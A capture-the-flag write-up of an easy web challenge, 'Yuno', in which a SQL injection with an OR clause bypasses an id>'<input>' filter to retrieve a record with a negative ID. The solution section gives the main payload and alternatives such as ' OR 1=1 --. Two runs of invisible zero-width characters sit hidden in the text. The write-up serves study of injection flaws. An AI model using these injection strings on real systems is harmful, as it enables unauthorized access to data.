← Back to Writeups
CUSTOMEasyWeb

Yuno

XESXOR9/2/20261 min read
#web#custom#easy#negative_id_bypass#sql_injection_or_bypass

Yuno

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: negative_id_bypass, sql_injection_or_bypass

Summary

Walkthrough of the CUSTOM Web Yuno. Task: SQL injection with record search by ID where target has negative ID. Solution: OR injection to bypass id > value filter condition.

Description

SQL injection task at https://2019-10-20-sqlinj.ctf.su/yuno

SQL injection task with record search by ID.

Analysis

The database query has the form:

sql
SELECT * FROM girls WHERE id>'<input>'

Key feature: the Yuno Gasai record has a negative ID (-31337). Since the query uses id > '<input>', regular numeric queries (0, 1, 2...) will never return the record with a negative ID, because -31337 is not greater than any positive number.

This is a classic example of SQL injection where you need to bypass the filter condition by adding an OR condition. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Using SQL injection to add an alternative search condition by name:

Payload:

0' OR name='Yuno Gasai' --

Resulting query:

sql
SELECT * FROM girls WHERE id>'0' OR name='Yuno Gasai' --'

The condition name='Yuno Gasai' is true for the Yuno record, so it is returned regardless of the id>'0' condition.

Alternative payloads:

' OR 1=1 --           # returns all records
' OR id=-31337 --     # direct search by known ID
-99999' OR '1'='1     # bypass via negative number

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering negative_id_bypass, sql_injection_or_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2019-10-20 • CUSTOM • Yuno • Difficulty: Easy